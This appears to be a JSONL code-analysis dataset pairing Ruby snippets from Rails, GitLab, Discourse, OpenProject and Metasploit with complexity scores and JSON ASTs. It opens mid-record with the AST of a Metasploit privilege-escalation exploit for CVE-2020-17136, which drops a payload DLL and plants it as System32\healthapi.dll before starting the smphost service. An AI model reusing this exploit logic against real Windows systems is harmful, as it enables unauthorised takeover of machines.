junction!\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"exe_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2020-17136\"]},{\"type\":\"str\",\"children\":[\"cloudFilterEOP.exe\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"exe_path\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Assembly not found\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"installed_dotnet_versions\",{\"type\":\"send\",\"children\":[null,\"get_dotnet_versions\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Dot Net Versions installed on target: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installed_dotnet_versions\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installed_dotnet_versions\"]},\"==\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Target has no .NET framework installed\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_requirements\",{\"type\":\"str\",\"children\":[\"v4.0.30319\"]},{\"type\":\"lvar\",\"children\":[\"installed_dotnet_versions\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"CLR required for assembly not installed\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"payload_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"C:\\\\Windows\\\\Temp\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"str\",\"children\":[\".dll\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Dropping payload dll at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"str\",\"children\":[\" and registering it for cleanup...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"payload_path\"]},{\"type\":\"send\",\"children\":[null,\"generate_payload_dll\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_assembly\",{\"type\":\"lvar\",\"children\":[\"exe_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_intermediate_dir\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"junction_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Windows\\\\System32\\\\healthapi.dll \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"service_start\",{\"type\":\"str\",\"children\":[\"smphost\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"str\",\"children\":[\"C:\\\\Windows\\\\System32\\\\healthapi.dll\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[null,\"delete_mount_point\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_intermediate_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"junction_dir\"]}]}]},{\"type\":\"lvar\",\"children\":[\"mount_handle\"]}]}]}]}","id":"6d539e85-583b-4b84-ac55-0966242efa7b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":1217,"raw_source":"def test_set_controller_class_using_symbol\n    assert_equal ContentController, self.class.controller_class\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_set_controller_class_using_symbol\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"ContentController\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"controller_class\"]}]}]}","id":"78a4d143-323d-4f82-bfcf-de6c861df853"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/pull_hotlinked_images.rb","start_line":249,"raw_source":"def available_disk_space\n      100 - DiskSpace.percent_free(\"#{Rails.root}/public/uploads\")\n    end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"available_disk_space\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[100]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiskSpace\"]},\"percent_free\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]},{\"type\":\"str\",\"children\":[\"/public/uploads\"]}]}]}]}]}","id":"064d58f4-e6c3-4436-be85-deac5a5c5b43"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/identity.rb","start_line":76,"raw_source":"def self.fabricate(user)\n        new(user) if user.is_a?(::User)\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fabricate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"User\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},null]}]}","id":"b6031468-1877-4e25-a909-68fb12286ab3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/join_dependency.rb","start_line":190,"raw_source":"def make_constraints(parent, child, join_type)\n          foreign_table = parent.table\n          foreign_klass = parent.base_klass\n          child.join_constraints(foreign_table, foreign_klass, join_type, alias_tracker) do |reflection, remaining_reflection_chain|\n            table, terminated = @joined_tables[remaining_reflection_chain]\n            root = reflection == child.reflection\n\n            if table && (!root || !terminated)\n              @joined_tables[remaining_reflection_chain] = [table, root] if root\n              next table, true\n            end\n\n            table_name = @references[reflection.name.to_sym]&.to_s\n\n            table = alias_tracker.aliased_table_for(reflection.klass.arel_table, table_name) do\n              name = reflection.alias_candidate(parent.table_name)\n              root ? name : \"#{name}_join\"\n            end\n\n            @joined_tables[remaining_reflection_chain] ||= [table, root] if join_type == Arel::Nodes::OuterJoin\n            table\n          end.concat child.children.flat_map { |c| make_constraints(child, c, join_type) }\n        end","complexity_score":61.8,"ast_json":"{\"type\":\"def\",\"children\":[\"make_constraints\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"child\"]},{\"type\":\"arg\",\"children\":[\"join_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"foreign_table\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"foreign_klass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"base_klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"join_constraints\",{\"type\":\"lvar\",\"children\":[\"foreign_table\"]},{\"type\":\"lvar\",\"children\":[\"foreign_klass\"]},{\"type\":\"lvar\",\"children\":[\"join_type\"]},{\"type\":\"send\",\"children\":[null,\"alias_tracker\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reflection\"]},{\"type\":\"arg\",\"children\":[\"remaining_reflection_chain\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table\"]},{\"type\":\"lvasgn\",\"children\":[\"terminated\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joined_tables\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"remaining_reflection_chain\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"root\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"reflection\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminated\"]},\"!\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joined_tables\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"remaining_reflection_chain\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"root\"]}]}]},null]},{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@references\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"name\"]},\"to_sym\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alias_tracker\"]},\"aliased_table_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"klass\"]},\"arel_table\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"alias_candidate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"table_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"_join\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join_type\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"OuterJoin\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joined_tables\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"remaining_reflection_chain\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"root\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"children\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"make_constraints\",{\"type\":\"lvar\",\"children\":[\"child\"]},{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"lvar\",\"children\":[\"join_type\"]}]}]}]}]}]}","id":"b2a8f422-5de7-4052-814c-7afb8f02837e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb","start_line":289,"raw_source":"def lease\n        if in_use?\n          msg = +\"Cannot lease connection, \"\n          if @owner == ActiveSupport::IsolatedExecutionState.context\n            msg << \"it is already leased by the current thread.\"\n          else\n            msg << \"it is already in use by a different thread: #{@owner}. \" \\\n                   \"Current thread: #{ActiveSupport::IsolatedExecutionState.context}.\"\n          end\n          raise ActiveRecordError, msg\n        end\n\n        @owner = ActiveSupport::IsolatedExecutionState.context\n      end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"lease\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_use?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot lease connection, \"]},\"+@\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@owner\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"str\",\"children\":[\"it is already leased by the current thread.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"it is already in use by a different thread: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@owner\"]}]},{\"type\":\"str\",\"children\":[\". \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Current thread: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"context\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ActiveRecordError\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@owner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"context\"]}]}]}]}","id":"142a4d46-ceb4-4679-a7be-c8e555afe1a5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/queries/open_storage_query.rb","start_line":45,"raw_source":"def request_drive(http)\n              handle_responses http.get(request_url)\n            end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"request_drive\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_responses\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"get\",{\"type\":\"send\",\"children\":[null,\"request_url\"]}]}]}]}","id":"0546d0e3-fb14-4fa7-934a-adee0dad2599"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/check_malware.rb","start_line":81,"raw_source":"def show_report(res, filename)\n    md5 = res['md5'] || ''\n    sha1 = res['sha1'] || ''\n    sha256 = res['sha256'] || ''\n\n    print_status(\"#{rhost} - MD5: #{md5}\") unless md5.blank?\n    print_status(\"#{rhost} - SHA1: #{sha1}\") unless sha1.blank?\n    print_status(\"#{rhost} - SHA256: #{sha256}\") unless sha256.blank?\n\n    tbl = Rex::Text::Table.new(\n      'Header' => \"Analysis Report: #{filename} (#{res['positives']} / #{res['total']}): #{res['sha256']}\",\n      'Indent' => 1,\n      'Columns' => ['Antivirus', 'Detected', 'Version', 'Result', 'Update']\n    )\n\n    res['scans'].each do |result|\n      product = result[0]\n      detected = result[1]['detected'].to_s\n      version = result[1]['version'] || ''\n      sig_name = result[1]['result'] || ''\n      timestamp = result[1]['update'] || ''\n\n      tbl << [product, detected, version, sig_name, timestamp]\n    end\n\n    report_note({\n      host: session,\n      type: 'malware.sample',\n      data: { :csv_table => tbl.to_csv }\n    })\n    print_status tbl.to_s\n  end","complexity_score":63.53,"ast_json":"{\"type\":\"def\",\"children\":[\"show_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"md5\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"md5\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sha1\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sha1\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sha256\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sha256\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\" - MD5: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha1\"]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\" - SHA1: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha1\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha256\"]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\" - SHA256: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha256\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Analysis Report: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"positives\"]}]}]},{\"type\":\"str\",\"children\":[\" / \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"total\"]}]}]},{\"type\":\"str\",\"children\":[\"): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sha256\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Antivirus\"]},{\"type\":\"str\",\"children\":[\"Detected\"]},{\"type\":\"str\",\"children\":[\"Version\"]},{\"type\":\"str\",\"children\":[\"Result\"]},{\"type\":\"str\",\"children\":[\"Update\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scans\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"product\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"detected\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"str\",\"children\":[\"detected\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sig_name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"str\",\"children\":[\"result\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"str\",\"children\":[\"update\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},{\"type\":\"lvar\",\"children\":[\"detected\"]},{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"sig_name\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"malware.sample\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"csv_table\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_csv\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]}]}]}]}","id":"57267f8e-1904-4468-af2f-59de55d74652"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/container_repository/cleanup_tags_base_service.rb","start_line":110,"raw_source":"def keep_n_as_integer\n        keep_n.to_i\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"keep_n_as_integer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keep_n\"]},\"to_i\"]}]}","id":"ce75fdea-33d1-40b1-a4d2-adea23ab0173"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/work_package_meetings_tab.rb","start_line":82,"raw_source":"def expect_add_to_meeting_dialog_shown\n      expect(page).to have_css(\"#add-work-package-to-meeting-dialog\")\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_add_to_meeting_dialog_shown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"#add-work-package-to-meeting-dialog\"]}]}]}]}","id":"f2bbb07d-26b0-43fc-aa10-67ddc43112b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/email_helpers.rb","start_line":80,"raw_source":"def enqueue_mail_with(mailer_class, mail_method_name, *args)\n    args.map! { |arg| arg.is_a?(ActiveRecord::Base) ? arg.id : arg }\n    have_enqueued_mail(mailer_class, mail_method_name).with(*args)\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_mail_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mailer_class\"]},{\"type\":\"arg\",\"children\":[\"mail_method_name\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_enqueued_mail\",{\"type\":\"lvar\",\"children\":[\"mailer_class\"]},{\"type\":\"lvar\",\"children\":[\"mail_method_name\"]}]},\"with\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"be7a0620-08cd-42ad-bbb5-0ed0c8a7d108"}
